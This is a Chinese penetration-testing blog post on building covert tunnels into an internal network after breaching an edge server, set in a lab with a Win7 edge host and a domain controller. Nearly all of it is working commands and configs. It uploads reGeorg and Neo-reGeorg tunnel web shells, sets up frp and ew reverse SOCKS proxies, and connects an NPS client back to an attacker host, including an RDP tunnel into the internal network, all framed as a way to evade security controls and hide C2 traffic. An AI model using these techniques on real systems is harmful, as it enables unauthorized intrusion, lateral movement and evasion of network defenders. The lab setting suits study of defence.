别低头,皇冠会掉;别流泪,贱人会笑。
本文首发于先知社区,原创作者即是本人
0x00 前言
构建内网隐蔽通道,从而突破各种安全策略限制,实现对目标服务器的完美控制。
当我们从外网成功获得攻击点的时候,通过反弹shell、端口转发、内网穿透等技巧,来进一步入侵内网服务器。当我们取得内网目标服务器的控制权限,通过隧道技术绕过网络限制,实现隐蔽C2服务器的通信。
网络拓扑:

网络配置IP如下:
攻击机:
win10:192.168.1.6
kali:192.168.1.7
靶场:
VM1:对外边界服务器,win7
192.168.52.143
192.168.1.5
VM2:域成员,2003
192.168.52.141
VM3:域控,2008
192.168.52.138
0x01 reGeorge
1.1 环境
攻击机kali
reGeorge软件,下载:https://github.com/sensepost/reGeorg
运行程序需要的环境:
Python、pip、urllib3;
1.2 部署配置
上传tunnel.nosocket.php
前提条件,已获得跳板机的权限(都打到内网了,跳板机的权限肯定获得了),server-bt系统的跳板机是php环境,将reGeorge中的tunnel.nosocket.php上传至网站

并访问http://192.168.1.5/tunnel.nosocket.php
访问成功

启动reGeorg
python reGeorgSocksProxy.py -p 1090 -u http://192.168.1.5/tunnel.nosocket.php
表示本地1090端口的流量都转发给指定的那个url,1090是指定的监听端口;

配置代理
然后配置proxychains代理链的配置文件vim /etc/proxychains.conf,将代理设置成本机的1090端口:socks5 127.0.0.1 1090

1.3 测试
命令前面加上proxychains 运行命令,(跳板机php环境已启动,存在主页index.php)
proxychains curl http://192.168.52.143

reGeorg控制端

0x02 Neo-reGeorg
1.1 使用
设置密码并生成隧道文件,运行后会生成一个neoreg_server目录,里面包含了各种语言类型的隧道文件
$ python3 neoreg.py generate -k <password>
[+] Create neoreg server files:
=> neoreg_server/key.txt. # 密码
=> neoreg_server/tunnel.nosocket.php
=> neoreg_server/tunnel.js
=> neoreg_server/tunnel.php
=> neoreg_server/tunnel.ashx
=> neoreg_server/tunnel.aspx
=> neoreg_server/tunnel.tomcat.5.jsp
=> neoreg_server/tunnel.tomcat.5.jspx
=> neoreg_server/tunnel.jsp
=> neoreg_server/tunnel.jspx
python3 neoreg.py generate -k jdxyxd

1.2 部署配置
上传tunnel.php
前提条件,已获得跳板机的权限(都打到内网了,跳板机的权限肯定获得了),server-bt系统的跳板机是php环境,将reGeorge中的tunnel.php上传至网站

并访问http://192.168.1.5/tunnel.php
访问成功

启动Neo-reGeorg
python3 neoreg.py -k jdxyxd -u http://192.168.1.5/tunnel.php #表示本地1080端口的流量都转发给指定的那个url,1080是指定的监听端口;

配置代理
然后配置proxychains代理链的配置文件vim /etc/proxychains.conf,将代理设置成本机的1080端口:socks5 127.0.0.1 1080

1.3 测试
命令前面加上proxychains 运行命令,(跳板机php环境已启动,存在主页index.php)
proxychains curl http://192.168.52.143

0x03 frp
软件:frp_0.33.0_windows_amd64 ,frp_0.34.1_linux_amd64
代理工具Proxifier(windows下通常用可视化的proxifier、SocksCap64,Linux在proxychains设置)
1.1 攻击机为windows环境
frp的Socks5反向代理:
(HTTP反向代理修改plugin模块和proxifier代理类型即可)
攻击机-服务端:
设置frps.ini
[common]
bind_port = 7000

然后运行
frps.exe -c frps.ini

跳板机-客户端:server_addr为攻击机IP
设置frpc.ini
[common]
server_addr = 192.168.1.6
server_port = 7000
[socks5]
type = tcp
remote_port = 8010
plugin = socks5

然后运行
frpc.exe -c frpc.ini

SwitchyOmega配置

浏览器访问192.168.52.143 访问成功

proxifier配置

浏览器访问192.168.52.143 访问成功

0x04 ew
1.1 攻击机为kali环境
ew正向代理
1.正向连接跳板机在win7机器上执行(ew_for_windows上传到跳板机)
ew_for_win_32.exe -s ssocksd -l 1090

这里还需要修改proxychains.conf配置文件
$ vim /etc/proxychains.conf socks5 192.168.1.5 1090

测试执行:
proxychains curl http://192.168.52.143/

ew反向代理
服务端-攻击机kali
执行:
./ew_for_linux -s rcsocks -l 1080 -e 1024

客户端-跳板机
执行
ew.exe -s rssocks -d 192.168.1.7 -e 1024

配置proxychains代理链
在配置文件/etc/proxychains.conf,
将代理设置成本机的1080端口(root用户修改):

测试执行:
proxychains curl http://192.168.52.143/

0x05 NPS隐秘隧道搭建
1)建立连接
此场景攻击机使用Kali,在攻击机运行命令"./nps install"安装服务端,如图所示。

运行命令"nps start"启动服务端,如图所示。

通过8080端口访问服务端的Web界面,如图所示。

输入默认用户名、密码admin、123登录,登录后可以看到默认客户端连接端口为8024,登录后的Web界面如图所示。

添加客户端,如图所示,配置唯一验证密钥,验证密钥在从客户端连接到服务端时使用,此处配置为"any",然后开启压缩和加密传输。

最后在边界主机运行命令"npc.exe -server=192.168.1.7:8024 -vkey=any"来连接服务端,建立连接如图所示。

连接成功后在攻击机的Web界面可看到客户端上线,如图所示。

2)TCP隧道
客户端上线后便可以通过Web界面单击上线的客户端、查看选项、配置隧道,例如,若想访问内网主机的3389端口,则可通过TCP隧道将内网主机的3389端口映射到攻击机的1111端口,单击"新增",配置目标"192.168.52.143:3389",配置服务端口为"1111",TCP隧道如图所示。

TCP隧道建立成功后,即可通过连接攻击机的1111端口来连接内网主机的远程桌面,在攻击机运行命令"rdesktop 192.168.1.7:1111"连接本地的1111端口,隧道的使用如图所示。

3)SOCKS5代理
若想搭建HTTP代理或SOCKS代理,只需选择对应模式,填写服务端端口即可,以SOCKS为例,选择模式为"SOCKS代理",如图所示,服务端端口为"1234"。

配置好SOCKS代理后,便可使用攻击机192.168.1.7的1234端口访问内网,配置代理服务器

访问内网主机站点http://192.168.52.143/
使用代理如图所示。

或者配置proxifier

访问内网主机站点http://192.168.52.143/

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。
免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。
转载声明:各家兴 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。
bash
CSDN:
https://blog.csdn.net/weixin_48899364?type=blog
公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect
博客:
https://rdyx0.github.io/
先知社区:
https://xz.aliyun.com/u/37846
SecIN:
https://www.sec-in.com/author/3097
FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85